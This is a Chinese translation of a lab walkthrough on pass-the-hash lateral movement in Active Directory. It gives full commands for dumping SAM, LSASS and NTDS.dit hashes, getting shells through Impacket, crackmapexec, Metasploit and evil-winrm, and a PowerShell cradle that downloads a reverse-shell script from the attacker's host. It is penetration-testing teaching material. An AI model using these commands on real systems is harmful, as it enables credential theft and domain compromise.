AD 横向移动-哈希传递攻击
本文通过 Google 翻译 Lateral Movement – Pass-the-Hash Attacks 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
0、前言
在这篇文章中,我们将介绍多种可用于执行哈希传递攻击的工具和技术。
注:哈希传递攻击(Pass The Hash,简称 PTH)是一种基于 Windows 身份验证机制的攻击技术,它允许攻击者利用用户的密码哈希值进行身份认证,而无需知道明文密码。
首先,我们会在第一台受害机中转储本地 SAM 文件中的 administrator 哈希。接着,我们使用这个本地管理员的哈希在第二台受害机上测试时发现这两台机器的本地管理员账户居然使用了相同的密码(密码重用问题),这使得我们很轻松地就以本地管理员的身份转移到了第二台受害机上。然后,我们又转储了第二台受害机的 LSASS 进程,并成功找到了存储在第二台受害机上的域管理员哈希。最后,我们以域管理员的身份成功转移到了 DC(域控制器)。
1、实验环境介绍
在开始之前,我们先简单介绍一下本次实验的环境。在本示例的环境中,共有三台机器,它们均加入了域,其中一台机器是 DC(172.16.1.5),另外两台机器是 Windows 10 工作站(172.16.1.100 和 172.16.1.200)。
首先,我们假设自己已经在 172.16.1.100 这台机器上获得了立足点,并将权限提升到了本地 SYSTEM。然后,通过 Invoke-PowerDump 转储了受害机的哈希列表:
在转储的哈希列表中,我们最感兴趣的便是 administrator 的哈希。因为网络管理员在管理多个机器的时候,为了方便记忆通常会对相同的账户使用相同的密码,而相同的密码在不同机器上的 NTLM 哈希依然是一样的,因此我们最想获取此哈希以测试其它机器。
注:在获取到任何密码或 NTLM 哈希之后,我们首先应该使用这些已知的密码/哈希和已知的用户名在一台机器上进行组合测试,以确定是否存在一组有效的凭据。如果能够确定一组凭据有效,我们便可以在其它机器上优先测试这组凭据的有效性,以检查这组凭据可以访问哪些机器。
2、哈希传递攻击的妙用
在执行哈希传递攻击之前,我们首先需要检查受害机上开放的服务状况,然后再确定我们可以从哪些方面使用哪些工具去发起攻击。
在 Windows 主机上最常见的情况是,SMB 服务的 445 端口通常都是开放着的,而这也是此类攻击最有可能瞄准的端口。然而,有时还可能会发现另外两个常见端口也开放着,它们分别是 3389 的 RDP 服务和 5985 的 WinRM 服务。
而在这个例子中,我们将以端口 445 作为目标执行哈希传递攻击。
2.1、访问测试
为了测试前面得到的 administrator 用户的哈希值,我们将使用crackmapexec 工具对两台 Windows 10 主机进行测试。我们希望工具输出的结果中,两台主机均会出现 Pwn3d! 提示,这会表明用户 administrator 的密码确实被重复使用了,我们因此也就可以横向移动到第二台主机并获取 SYSTEM shell。
在使用 crackmapexec 时,我们可以传递完整的 NTLM 哈希,也可以只使用 NT 部分。之所以这样做,是因为通常只有 NT 部分才有值,而 LM 部分为空。
当账户被禁用且密码为空时,它的 LM:NT 两部分都没有值,帐户将显示“空白”的 NTLM 哈希,即 aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。
当账户被启用时,它的 LM 部分通常没有值,而 NT 部分是有值的,账户将显示“半空白”的 NTLM 哈希,即 aad3b435b51404eeaad3b435b51404ee:* 。
由于此次发起的哈希传递攻击是以本地帐户进行的,因此需要在 crackmapexec 命令中添加 –local-auth 选项:
crackmapexec smb 172.16.1.100 172.16.1.200 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth
可以看到,两个主机均包含 Pwn3d! 提示,这意味着密码重用的情况确实存在,因此我们可以很轻松地转向 172.16.1.200 主机了!
2.2、获取 Shell
为了获取 172.16.1.200 主机的 shell,我们将使用 Impacket 工具套件中的三种工具,它们分别是:psexec.py、wmiexec.py、smbexec.py。
首先,使用 psexec.py,它通过创建并执行一个 exe 文件来获得的反向 shell。在攻击中它是最流行的工具,同时也是最容易被杀毒软件处理的工具,这也就是为什么还会介绍其它工具配合使用的原因。
psexec.py administrator@172.16.1.200 -hashes aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060
注:这个工具提供的 shell 虽然看起来很像是 cmd,但它其实是一个特制的 shell,类似于 meterpreter shell,并内置了一些简单的命令。
接着,使用 wmiexec.py 工具,它通过 WmiPrvSE.exe 来生成 cmd.exe 实例,这更加隐蔽,因为在某些环境中这可能是合法的用例。
wmiexec.py administrator@172.16.1.200 -hashes aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060
注:这个工具提供的 shell 和通过 psexec.py 获取的 shell 差不多,都类似于 meterpreter shell,并内置了一些简单的命令。
最后,使用 smbexec.py,它会根据攻击者发送的命令来创建一个服务并启动服务来执行代码。这比使用 psexec.py 更隐蔽,但缺点是 shell 功能有限。
smbexec.py administrator@172.16.1.200 -hashes aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060
注:这个工具提供的 shell 非常的简陋且体验极差,完全比不上 psexec.py 和 wmiexec.py 提供的 shell,尽管它们提供的 shell 也好不到哪去。
注:如果不满意以上这些工具提供的 shell, 我们可以利用其内置的传输文件命令或其它方式去上传一些自认为好用的反向 shell,以获得一个满意的 shell。
现在,我们已经通过哈希传递攻击从一台主机横向移动到了另一台主机,接下来就可以转储 LSASS 进程,以查看是否有用户在登录该机器时留下了哈希值。如果够幸运的话,我们可能会在任意一台主机的 LSASS 进程中找到域管理员的哈希。
2.3、转储 LSASS 进程
管理员用户使用域管理员帐户登录服务器甚至员工工作站的情况非常常见。当发生这种情况时,被登录的系统便会将此次登录账户的 NTLM 哈希存储在 LSASS 进程中,同时也会为该帐户创建一个令牌,而这些信息直到系统重新启动才会失效。
对于攻击者来说,LSASS 进程中的域管理员的哈希才是他最感兴趣的东西。而要转储 LSASS 进程,我们需要具有管理员或 SYSTEM 级别的权限,以及一个名为 lsassy 的强大工具,该工具最大的优点便是支持使用 哈希传递 远程转储 LSASS 进程。
在本例中,我们只是简单的使用了 lsassy 的功能;然而,它还有很多强大的功能可以用来绕过杀毒软件。此外,需要注意的是,lsassy 已集成到了 crackmapexec 工具中,如
nxc smb 192.168.56.50 -u '123' -p '123' -d skylark.com -M lsassy
或nxc smb 192.168.56.50 -u '123' -p '123' -d skylark.com --lsa
。
接下来,我们将使用 lsassy 分别对两台主机转储它们的 LSASS 哈希,以查看是否能够找到任何有价值的哈希,以便进一步进行横向移动。
lsassy -u administrator -H :3542d79d5d17bc9d3014d4d56b5e3060 172.16.1.100
lsassy -u administrator -H :3542d79d5d17bc9d3014d4d56b5e3060 172.16.1.200
可以看到,在第一台机器(172.16.1.100)上,我们只找到了已攻陷的标准域用户的哈希值;而在第二台机器(172.16.1.200)上,我们竟然发现了域管理员帐户的哈希值!
2.4、转储 NTDS.dit 文件
在本例中,我们将使用 crackmapexec 以哈希传递的方式去远程转储 NTDS.dit 文件中的域用户哈希。
Ntds.dit 文件实际上是一个存储 Active Directory 数据的数据库,其中包括有关用户对象、组、组成员身份的信息。而最重要的是,该文件还存储域中所有用户的密码哈希值,类似于 SAM 文件一样。
crackmapexec smb 172.16.1.5 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 --ntds
可以看到,我们成功转储了整个域中所有用户的哈希值。
3、哈希传递攻击 – SMB (445)
3.1、psexec.py/wmiexec.py/smbexec.py
之前,我们在传递本地管理员哈希值时研究过 psexec.py、wmiexec.py、smbexec.py,故此处不再赘述:
psexec.py juggernaut.local/administrator@172.16.1.200 -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4
wmiexec.py juggernaut.local/administrator@172.16.1.200 -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4
smbexec.py juggernaut.local/administrator@172.16.1.200 -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4
3.2、crackmapexec
另一个基于 SMB 执行哈希传递攻击的工具是 crackmapexec。我们之前只是使用它来检测本地管理员哈希是否有效,然而它也可以通过选项 -x(cmd.exe 命令)和 -X (PowerShell 命令)执行系统命令。
crackmapexec smb 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -x dir
crackmapexec smb 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -X Get-ChildItem
#若中文输出乱码,则可添加选项 --codec gbk 解决。
虽然该具本身并不支持提供 Shell,但却可以用它来轻松获取 Shell。例如,使用 -x 选项,您可以使用 certutil 将 nc.exe 下载到受害者机器上,然后再次编辑 -x 的参数并执行即可得到反向 Shell。同样,您可以使用 -X 选项执行包含反向 TCP 的 IEX 命令,然后得到 PowerShell 版本的反向 Shell。
3.3、Invoke-SMBExec.ps1
另一个基于 SMB 执行哈希传递攻击的工具是 Invoke-SMBExec.ps1,它是 Empire 框架中的一个模块。在本示例中,我们会在 172.16.1.200 受害机上借助 Invoke-SMBExec.ps1 来获得来自 DC 的反向 shell。
首先,将 Invoke-SMBExec.ps1 脚本下载到攻击机的工作目录并为其启动 HTTP 服务器。
python3 -m http.server 80
接着,下载 Invoke-PowerShellTcp.ps1 脚本到工作目录并在其底部添加以下命令:
将 IP 地址编辑为攻击者机器的 IP。
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443
然后,我们需要将 Invoke-SMBExec.ps1 下载到受害者机器上,同时在 443 端口启动一个 nc 监听器。
最后,执行以下命令:
. .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target 172.16.1.5 -Domain juggernaut.local -Username Administrator -Hash 5b38382017f8c0ac215895d5f9aacac4 -Command "powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')" -verbose
当看到提示挂起,回到 nc 监听器,可以看到我们通过传递域管理员哈希最终获得了 DC 上的 SYSTEM shell。
3.4、Metasploit
另一个基于 SMB 执行哈希传递攻击的工具是 Metasploit 中的 psexec 模块。
首先,启动 Metasploit,并直接进入 psexec 模块:
msfconsole -q -x "use exploit/windows/smb/psexec"
接着,使用 show options 命令检查需要设置的选项。
在设置完必要的参数之后便可以执行哈希传递攻击了。
set RHOSTS 172.16.1.5
set SMBDomain juggernaut.local
set SMBPass aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4
set SMBUser Administrator
set Payload windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.30
set LPORT 443
exploit
4、哈希传递攻击 – WinRM (5985)
4.1、crackmapexec
与使用 crackmapexec 通过 SMB 传递哈希的方式一样,我们也可以使用它通过 WinRM 传递哈希,唯一的区别仅是将子命令由 smb 更换成 winrm 即可。
crackmapexec winrm 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -x dir
crackmapexec winrm 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -X Get-ChildItem
4.2、evil-winrm
可用于通过 WinRM 进行哈希传递攻击的终极工具是evil-winrm。这款工具在 WinRM 攻击方面堪称一绝,值得专门写一篇文章来介绍。不过,在本例中,我们仅介绍如何使用它来获取受害机的 Shell。
任何启用了 PS-Remoting 功能(即 WinRM 服务,默认端口 5985)的 Windows 均可通过 evil-winrm 去远程管理它们。但通常只有 Windows 服务器默认是开启此功能的,而 Windows 客户机则默认处于关闭状态。尽管如此,我们还是应该尽可能地检查所有设备,以避免漏掉任何可能。
以下便是使用 evil-winrm 进行传递哈希攻击的用法:
evil-winrm -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -i 172.16.1.5
5、哈希传递攻击 – RDP (3389)
5.1、xfreerdp
要通过 RDP 执行哈希传递攻击,我们可以使用名为 xfreerdp 的工具,该工具默认已安装在 Kali 上。
假设我们刚刚从 172.16.1.100 转储了 SAM 哈希,然后尝试通过本地管理员的哈希值在 172.16.1.200 主机上建立 RDP 会话。使用以下命令(不指定域)将尝试以本地管理员帐户的身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
注:若在连接过程中出现了有关 RRCONNECT_TLS_CONNECT_FAILED 的消息导致连接失败,则可以通过选项
/tls-seclevel:0
降低 TLS 的安全级别以绕过此错误。
不幸的是,我们收到了以下信息:
注:当
DisableRestrictedAdmin = 1
时,即表示禁用受限管理模式(Restricted Admin Mode),此时 RDP 客户端只能够通过 用户名+密码 的方式去登录远程桌面;当DisableRestrictedAdmin = 0
时,即表示启用受限管理模式,此时 RDP 客户端既可以通过 用户名+密码 也可以通过 哈希传递 的方式去登录远程桌面。
而要绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用 crackmapexec 来执行此操作:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
现在,已将 DisableRestrictAdmin 设置为 0,即启用了受限管理模式。接下来,我们就能够使用 xfreerdp 成功执行哈希传递攻击了。
AD 横向移动-哈希传递攻击的更多相关文章
- 哈希传递攻击利用(Pass The Hash)
最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录. 0x01 哈希传递攻击概念 有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM ...
- PtH(hash传递攻击)原理探秘
背景知识 Windows 横向渗透的两种方式 1.hash传递攻击,通过传递NTLM-Hash,登录机器,简称PtH: 2.ticket传递攻击,通过传递kerberos的ticket,登录机器,简称 ...
- Windows NTLM Hash和Hash传递、Key传递攻击
Hash(Key) 获取 工具: Mimikatz 用法: .\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash ...
- 域渗透之票据传递攻击(pass the ticket,ptt)
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...
- 票据传递攻击(Pass the Ticket,PtT)
目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...
- PHP内核探索:哈希碰撞攻击是什么?
最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招.本文结合PHP内核源码,聊一聊这种攻击的原理及实现. 哈希表碰撞攻击的基本 ...
- K:hash(哈希)碰撞攻击
相关介绍: 哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表.理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值 ...
- 域渗透-凭据传递攻击(pass the hash)完全总结
总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki https://en.wikiped ...
- AD域安全攻防实践(附攻防矩阵图)
以域控为基础架构,通过域控实现对用户和计算机资源的统一管理,带来便利的同时也成为了最受攻击者重点攻击的集权系统. 01.攻击篇 针对域控的攻击技术,在Windows通用攻击技术的基础上自成一套技术体系 ...
- 域渗透 | kerberos认证及过程中产生的攻击
文章首发于公众号<Z2O安全攻防> 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...
随机推荐
- wxFormBuilder 代码运行报错,尝试删除报错代码部分语句
解决方法: 定位到第60行,删掉部分代码如下 bSizer1.Add(gbSizer1, 1, wx.EXPAND , 1) 运行后效果如下图:
- python excel 数据整理:如何删除重复的记录
data = frame.drop_duplicates(subset='', keep='first', inplace='') drop_duplicates用法:subset='需要去重复的列名 ...
- **Selenium IDE、Selenium RC 和 WebDriver 之间有什么区别?**
- 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫
目录 什么是 Selenium 环境搭建与配置 安装 Selenium 下载浏览器驱动 基础操作 启动浏览器并访问网页 定位网页元素 通过 ID 定位 通过 CSS 选择器定位 通过 XPath 定位 ...
- Golang 入门 : 文件名、关键字与标识符
Go 的源文件以 .go 为后缀名存储在计算机中,这些文件名均由小写字母组成,如 scanner.go .如果文件名由多个部分组成,则使用下划线 _ 对它们进行分隔,如 scanner_test.go ...
- SCRAPY入门学习(待完善)
Scrapy介绍 Scrapy 是用 Python 实现的一个为了爬取网站数据.提取结构性数据而编写的应用框架. Scrapy 常应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中. 通常我们 ...
- 如何定位 Druid & HikariCP 连接池的连接泄漏问题?
背景 最近碰到一个 case,一个 Java 应用无法获取新的数据库连接,日志中出现了以下错误: com.alibaba.druid.pool.GetConnectionTimeoutExceptio ...
- creative打靶学习笔记(4)
参考视频[Tryhackme系列网安课程-Creative-难度3-哔哩哔哩] https://b23.tv/6qzkzyh nmap扫描 { System.out.println(0.3 + 0.1); System.out.println(0.3 - 0.1); System ...
- 话说神奇的content="IE=edge,chrome=1"的meta标签内容
这是个是IE8的专用标记,用来指定IE8浏览器去模拟某个特定版本的IE浏览器的渲染方式(比如人见人烦的IE6),以此来解决部分兼容问题,例如模拟IE7的具体方式如下: < meta http-e ...